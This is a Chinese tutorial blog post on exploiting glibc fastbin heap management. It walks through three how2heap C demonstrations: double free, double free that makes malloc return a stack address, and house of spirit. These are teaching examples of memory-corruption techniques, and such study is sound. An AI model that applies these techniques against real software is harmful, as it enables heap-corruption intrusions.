linux堆内存漏洞利用之fastbin

来源:互联网 发布:查看java进程 编辑:程序博客网 时间:2024/06/10 09:48

背景介绍

在前一节主要介绍了Glibc的堆内存管理的机制,在上一节的基础上,我打算介绍一下针对Glibc堆内存管理的攻击。此系列我打算按攻击面是哪一个bin来展开,主要分为:
- fastbin的攻击
- smallbin的攻击
- largebin的攻击
- unsorted bin的攻击
- top chunk的攻击

本文主要介绍fastbin的攻击

fastbin漏洞利用

具体的fastbin的介绍请参考前一节和 Linux堆内存管理深入分析(下),在本节中主要结合how2heap的代码来介绍一下具体的漏洞利用思路。

fastbin double free

double free的意思就是一个malloc的指针被释放了两次,由于针对fastbin的free处理只是对double free做了简单的判断,所以很容易绕过它的double free判断。free() fastbin时的判断如下所示:

/* Check that the top of the bin is not the record we are going to add       (i.e., double free).  */    if (__builtin_expect (old == p, 0))      {        errstr = "double free or corruption (fasttop)";        goto errout;      }

其中old指针为fast bin的头指针,即此处只是判断fastbin的头指针和p指针是否一致。所以fastbin double free的攻击思路就是我们只要保证要double free的chunk不在fastbin的头部即可。

具体的攻击示例如下:

#include <stdio.h>#include <stdlib.h>int main(){    printf("This file demonstrates a simple double-free attack with fastbins.\n");    printf("Allocating 3 buffers.\n");    int *a = malloc(8);    int *b = malloc(8);    int *c = malloc(8);    printf("1st malloc(8): %p\n", a);    printf("2nd malloc(8): %p\n", b);    printf("3rd malloc(8): %p\n", c);    printf("Freeing the first one...\n");    free(a);    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);    // free(a);    printf("So, instead, we'll free %p.\n", b);    free(b);    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);    free(a);    printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);    printf("1st malloc(8): %p\n", malloc(8));    printf("2nd malloc(8): %p\n", malloc(8));    printf("3rd malloc(8): %p\n", malloc(8));}

在此示例中,首先申请三个大小为8的int数组,然后先free(a),由于fast bin是一个单链表,在插入和删除的时候只在头部进行,所以此时将a的chunk放入了fast bin的头部,随后又free(b),此时fast bin的头部为chunk b,随后又free(a),此时由于fast bin的头部为chunk b,所以在free()的时候进行判断old == p不会抛出错误进而绕过这个简单的判断处理。再进行malloc的时候首先会从fast bin的头部进行删除,则接下来第一个分配的chunk为chunk A,第二个分配的为chunk B,接下来会再次分配chunk A。

绕过示例结果如下所示:

fast bin dup

fast bin double free in stack

上面的那个例子只是简单的一个double free,这个例子是利用double free漏洞在栈中构造了一个fake chunk。
其具体的示例如下所示:

#include <stdio.h>#include <stdlib.h>int main(){    printf("This file extends on fastbin_dup.c by tricking malloc into\n"           "returning a pointer to a controlled location (in this case, the stack).\n");    unsigned long long stack_var;    printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);    printf("Allocating 3 buffers.\n");    int *a = malloc(8);    int *b = malloc(8);    int *c = malloc(8);    printf("1st malloc(8): %p\n", a);    printf("2nd malloc(8): %p\n", b);    printf("3rd malloc(8): %p\n", c);    printf("Freeing the first one...\n");    free(a);    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);    // free(a);    printf("So, instead, we'll free %p.\n", b);    free(b);    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);    free(a);    printf("Now the free list has [ %p, %p, %p ]. "        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);    unsigned long long *d = malloc(8);    printf("1st malloc(8): %p\n", d);    printf("2nd malloc(8): %p\n", malloc(8));    printf("Now the free list has [ %p ].\n", a);    printf("Now, we have access to %p while it remains at the head of the free list.\n"        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"        "so that malloc will think there is a free chunk there and agree to\n"        "return a pointer to it.\n", a);    stack_var = 0x20;    printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));    printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));    printf("4th malloc(8): %p\n", malloc(8));}

在以上代码中,当d被malloc的时候,此时还有对应的chunk a在fast bin中,所以如果对d进行修改,也会影响到chunk a的值。我们知道malloced chunk和freed chunk对应的结构不一样,对与同一个chunk A来说,有两种形式–对于d来说,其对应的是malloced chunk,而其在fast bin中还有一个freed chunk。
其示例如图所示:

fast bin stack pin

可以看到*d(payload开始地址)正好对应了chunk A的fd指针,将 *d的值赋值为&stack_var-8,则 stack_var=0x20即为在栈中伪造的chunk的size=0x20,与此fast bin的大小对应,此时chunk A的fd指向了在栈中伪造的chunk,此时就将伪造的chunk放入了fastbin链表中。进而malloc可以返回伪造的指针。

该示例代码的运行结果如下所示:

fast bin stack

The house of spirit

此攻击也是在栈中伪造fake chunk,和第二个攻击不同的是其只是在栈中声明了一个指针,而并没有通过malloc()函数来在堆中申请空间,接着将该指针赋值为特定的伪造的chunk的地址,随后free该指针,就将在栈中伪造的chunk添加到对应的fastbin中去了。具体的示例如下所示:

#include <stdio.h>#include <stdlib.h>int main(){    printf("This file demonstrates the house of spirit attack.\n");    printf("Calling malloc() once so that it sets up its memory.\n");    malloc(1);    printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");    unsigned long long *a;    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));    printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);    printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");    printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");    fake_chunks[1] = 0x40; // this is the size    printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8    fake_chunks[9] = 0x1234; // nextsize    printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);    printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");    a = &fake_chunks[2];    printf("Freeing the overwritten pointer.\n");    free(a);    printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);    printf("malloc(0x30): %p\n", malloc(0x30));}

示例的结果如下图所示:

house of spirit

参考

  • how2heap
原创粉丝点击